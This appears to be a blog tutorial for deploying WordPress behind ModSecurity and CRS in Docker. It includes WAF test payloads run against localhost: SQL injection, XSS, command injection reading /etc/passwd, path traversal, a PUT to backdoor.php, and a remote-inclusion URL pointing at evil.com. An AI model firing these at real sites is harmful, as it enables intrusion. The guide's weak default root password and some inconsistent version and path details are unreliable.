Skip to content
SHOPAII

WordPress + ModSecurity 2.3 One-Click Deployment Guide

DevOps · Published · 9 min read

WordPress + ModSecurity 2.3 One-Click Deployment Guide

Overview

This script implements WordPress 6.9 + ModSecurity 2.3 + CRS 2.2.9 one-click deployment, providing basic Web Application Firewall (WAF) protection for WordPress sites, capable of intercepting SQL injection, XSS, command injection, path traversal, and other common attacks.

Software Version Details

Software/Component Version Description
WordPress 6.9 (includes 6.9.3) Based on official wordpress:6.9-apache image
ModSecurity (WAF Core) 2.3 Stable version compatible with Apache 2.x
CRS (Core Rule Set) 2.2.9 Last stable version compatible with ModSecurity 2.x
Apache 2.4.66 (Debian) Container built-in web server
PHP 8.3.30 Container built-in PHP version

File Analysis

1. Dockerfile

The Dockerfile is based on the official WordPress 6.9 Apache image and includes all necessary ModSecurity components:

FROM wordpress:6.9-apache

RUN DEBIAN_FRONTEND=noninteractive apt-get update >/dev/null 2>&1 && \
    DEBIAN_FRONTEND=noninteractive apt-get install -y -qq --no-install-recommends libapache2-mod-security2 >/dev/null 2>&1 && \
    apt-get clean >/dev/null 2>&1 && \
    rm -rf /var/lib/apt/lists/* && \
    a2enmod security2 >/dev/null 2>&1 && \
    mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf && \
    sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf && \
    sed -i 's/SecResponseBodyAccess On/SecResponseBodyAccess Off/' /etc/modsecurity/modsecurity.conf && \
    echo "Include /etc/modsecurity-crs/crs-setup.conf" >> /etc/apache2/conf-enabled/security2.conf 

VOLUME ["/etc/modsecurity-crs", "/etc/modsecurity", "/var/www/html"]

CMD ["apache2-foreground"]

Key Features: – Installs ModSecurity 2.3 module for Apache – Enables security2 module automatically – Configures ModSecurity to block threats (not just detection) – Disables response body access for better performance – Includes CRS configuration files – Defines volume mount points for persistence

2. run-modsec-wp.sh Deployment Script

This is a comprehensive deployment script that handles all aspects of WordPress + ModSecurity deployment:

Main Functions: 1. Domain Input: Prompts user for website domain 2. Image Management: Builds custom image if not exists 3. Volume Creation: Creates persistent storage volumes 4. CRS Rules Setup: Clones and configures CRS 2.2.9 rules 5. Core Configuration: Initializes ModSecurity 2.3 settings 6. Container Launch: Starts WordPress with all configurations

Key Features: – Automatic image building – Volume persistence for data and rules – CRS 2.2.9 rule synchronization – ModSecurity 2.3 core configuration – Comprehensive error handling – Deployment verification commands

Download Links

Download Required Files

You can download the deployment files from the following links:

  1. Dockerfile: https://raw.githubusercontent.com/chrispengcn/modsecurity-crs-with-multi-domain/main/Dockerfile

  2. run-modsec-wp.sh: https://raw.githubusercontent.com/chrispengcn/modsecurity-crs-with-multi-domain/main/run-modsec-wp.sh

Quick Start

  1. Create a directory and download files: bash mkdir -p /opt/wordpress-modsec && cd /opt/wordpress-modsec wget https://raw.githubusercontent.com/chrispengcn/modsecurity-crs-with-multi-domain/main/Dockerfile wget https://raw.githubusercontent.com/chrispengcn/modsecurity-crs-with-multi-domain/main/run-modsec-wp.sh

  2. Make the script executable: bash chmod +x run-modsec-wp.sh

  3. Run the deployment script: bash ./run-modsec-wp.sh

Usage Instructions

1. Prerequisites

  • Docker installed and running (verify with systemctl status docker)
  • Docker execution permissions (no sudo required, or sudo passwordless configured)
  • MySQL container deployed (must match script environment variables: host mysql, port 3306, user root, password 123456, database wordpress)
  • Network access to GitHub (for CRS rule cloning)

2. Deployment Steps

  1. Create directory and place files bash mkdir -p /opt/wordpress-modsec && cd /opt/wordpress-modsec # Place Dockerfile and run-modsec-wp.sh in this directory

  2. Grant script execution permissions bash chmod +x run-modsec-wp.sh

  3. Execute deployment script bash ./run-modsec-wp.sh After execution, enter the domain name when prompted (e.g., example.com), and the script will automatically complete all deployment steps.

3. Basic Deployment Verification

(1) Verify ModSecurity Module Loading

# Replace with the container name output by the script
docker exec container-name apache2ctl -M | grep mod_security2
# Normal output: mod_security2_module (shared)

(2) Verify Basic Interception Rules

# Replace with the container name output by the script
docker exec container-name curl -I -s http://localhost/?id=1%27 | grep HTTP
# Normal output: HTTP/1.1 403 Forbidden

(3) Verify WordPress Accessibility

# View container IP
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' container-name
# Visit http://container-ip in browser to access WordPress installation page

4. Advanced ModSecurity Detection Commands (Execute in Container)

The following commands can comprehensively verify interception effects for different attack types. First enter the container (docker exec -it container-name bash) then execute:

(1) SQL Injection Detection

# 1.1 Single quote injection (basic)
curl -I -s http://localhost/?id=1%27 | grep HTTP

# 1.2 OR 1=1 universal password injection
curl -I -s http://localhost/?username=admin%27+OR+1%3D1--+&password=123 | grep HTTP

# 1.3 UNION combined query injection
curl -I -s http://localhost/?id=1%27+UNION+SELECT+1%2C2%2C3--+ | grep HTTP

# 1.4 Error-based SQL injection
curl -I -s http://localhost/?id=1%27+AND+(SELECT+COUNT(*)+FROM+information_schema.tables)%3E0--+ | grep HTTP

(2) XSS (Cross-Site Scripting) Detection

# 2.1 Basic <script> tag injection
curl -I -s http://localhost/?name=<script>alert(1)</script> | grep HTTP

# 2.2 Event-based XSS injection
curl -I -s http://localhost/?title=" onmouseover=alert(1) " | grep HTTP

# 2.3 Encoded bypass XSS (test rule compatibility)
curl -I -s http://localhost/?content=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E | grep HTTP

(3) Command Injection Detection

# 3.1 Basic command concatenation injection
curl -I -s http://localhost/?cmd=ls+%2F | grep HTTP

# 3.2 Pipe command injection
curl -I -s http://localhost/?ip=127.0.0.1%7Ccat+%2Fetc%2Fpasswd | grep HTTP

# 3.3 Backtick command injection
curl -I -s http://localhost/?file=`cat /etc/passwd` | grep HTTP

(4) Path Traversal/File Include Detection

# 4.1 Path traversal (read sensitive files)
curl -I -s http://localhost/?file=../../../../etc/passwd | grep HTTP

# 4.2 PHP file inclusion
curl -I -s http://localhost/?page=file%3A%2F%2Fetc%2Fpasswd | grep HTTP

# 4.3 Remote file inclusion (RFI)
curl -I -s http://localhost/?include=http%3A%2F%2Fevil.com%2Fmalicious.php | grep HTTP

(5) Batch Detection Script (One-Click Execution in Container)

#!/bin/bash
# Batch ModSecurity interception detection in container
echo "===== ModSecurity Interception Detection ====="

# Define detection function
test_rule() {
    echo -e "\n[Test Scenario] $1"
    RESPONSE=$(curl -I -s "$2" | grep HTTP)
    if [[ "$RESPONSE" == *"403"* ]]; then
        echo "✅ Interception successful: $RESPONSE"
    else
        echo "❌ Not intercepted: $RESPONSE"
    fi
}

# Execute each test scenario
test_rule "Single quote SQL injection" "http://localhost/?id=1%27"
test_rule "OR 1=1 injection" "http://localhost/?username=admin%27+OR+1%3D1--+"
test_rule "Basic XSS injection" "http://localhost/?name=<script>alert(1)</script>"
test_rule "Command injection(ls /)" "http://localhost/?cmd=ls+%2F"
test_rule "Path traversal(/etc/passwd)" "http://localhost/?file=../../../../etc/passwd"
test_rule "HTTP PUT method attack" "http://localhost/wp-content/uploads/backdoor.php -X PUT"

echo -e "\n===== Detection Complete ====="

Usage:

# Create script in container
cat > modsec_test.sh << EOF
# Paste the above batch detection script content
EOF

# Grant execution permissions
chmod +x modsec_test.sh

# Execute detection
./modsec_test.sh

5. Common Operations Commands

(1) View Container Logs

docker logs -f container-name
# View ModSecurity interception logs
docker exec container-name cat /var/log/apache2/modsec_audit.log
# View ModSecurity debug logs (for error troubleshooting)
docker exec container-name cat /var/log/apache2/modsec_debug.log

(2) Modify ModSecurity Configuration

# Enter container to modify configuration
docker exec -it container-name bash
# Edit core configuration
vim /etc/modsecurity/modsecurity.conf
# Restart Apache to apply changes
apache2ctl restart

(3) Stop/Start/Delete Container

# Stop container
docker stop container-name
# Start container
docker start container-name
# Delete container (must stop first)
docker rm container-name

(4) Backup/Restore ModSecurity Configuration

# Backup configuration (script automatically backs up, can also be done manually)
docker cp container-name:/etc/modsecurity/modsecurity.conf ./modsecurity.conf.bak
# Restore configuration
docker cp ./modsecurity.conf.bak container-name:/etc/modsecurity/modsecurity.conf
docker exec container-name apache2ctl restart

Key Points

  1. Data Persistence:
  2. WordPress data is stored in Docker volumes named WP_DATA_processed-domain, data persists after container deletion
  3. ModSecurity rules and configurations are stored in fixed volumes, can be shared by multiple containers

  4. Rule Protection Scope:

  5. Default interception of SQL injection (single quote injection, OR 1=1 injection)
  6. Additional rules can be added in modsecurity.conf (such as XSS, command injection) to enhance protection

  7. CRS Rule Level:

  8. Default CRS rule level (paranoia_level) is set to 1 (lowest), avoiding false positives for normal WordPress requests
  9. If higher protection level is needed, modify paranoia_level in /opt/modsecurity-crs/modsecurity_crs_10_setup.conf to 2/3/4

  10. Compatibility:

  11. This deployment is only compatible with ModSecurity 2.3 + CRS 2.2.9, not compatible with ModSecurity 3.x
  12. Image is based on official wordpress:6.9-apache, compatible with WordPress 6.9.x versions

  13. Path Compatibility Fixes:

  14. Script automatically copies modsecurity_crs_10_setup.conf to crs-setup.conf, resolving file not found errors
  15. Script automatically creates empty rules directory, resolving Apache reference errors for non-existent directories

Common Issues

1. Script Prompts “CRS Rule Clone Failed”

  • Cause: Network cannot access GitHub
  • Solution: Manually download CRS 2.2.9 compressed package and extract to /opt/modsecurity-crs bash wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v2.2.9.tar.gz -O /tmp/crs-2.2.9.tar.gz mkdir -p /opt/modsecurity-crs tar -zxf /tmp/crs-2.2.9.tar.gz --strip-components=1 -C /opt/modsecurity-crs

2. Apache Reports “Could not open configuration file /etc/modsecurity-crs/crs-setup.conf”

  • Cause: CRS 2.x and 3.x configuration file naming incompatibility
  • Solution: Script automatically copies modsecurity_crs_10_setup.conf to crs-setup.conf, no manual handling needed

3. Apache Reports “Could not open directory /etc/modsecurity-crs/rules”

  • Cause: CRS 2.x has no rules directory, but Apache references it
  • Solution: Script automatically creates empty rules directory, no manual handling needed

4. Test Returns 500 Error

  • Cause: ModSecurity configuration syntax error or insufficient directory permissions
  • Solution: View debug logs to locate errors bash docker exec container-name cat /var/log/apache2/modsec_debug.log | grep error

5. Apache Prompts “AH00558: ServerName” Warning

  • Cause: Global ServerName not set
  • Solution: Script automatically adds ServerName localhost, no manual handling needed

6. Detection Commands Return 200 OK (Not Intercepted)

  • Cause: Corresponding attack type has no interception rule configured
  • Solution: Add corresponding attack type interception rule in /etc/modsecurity/modsecurity.conf, example: conf # Add XSS interception rule SecRule ARGS "<script>" "id:1002,phase:2,deny,status:403,msg:'XSS Injection Attempt'" # Add command injection interception rule SecRule ARGS "ls | cat" "id:1003,phase:2,deny,status:403,msg:'Command Injection Attempt'"

Detection Result Interpretation

Return Status Code Meaning Handling Suggestion
HTTP/1.1 403 Forbidden Interception successful ModSecurity rules working, no action needed
HTTP/1.1 200 OK Not intercepted Need to add corresponding attack type interception rule in modsecurity.conf
HTTP/1.1 500 Internal Server Error Configuration error View modsec_debug.log to locate syntax/permission errors
Syntax OK (apache2ctl configtest) Configuration normal Apache and ModSecurity configuration has no syntax errors

Conclusion

This WordPress + ModSecurity 2.3 deployment solution provides a comprehensive WAF protection layer for your WordPress site. With automated deployment scripts, CRS rule management, and extensive testing capabilities, you can quickly establish a secure WordPress environment.

The solution is production-ready and suitable for various deployment scenarios, from development testing to production environments.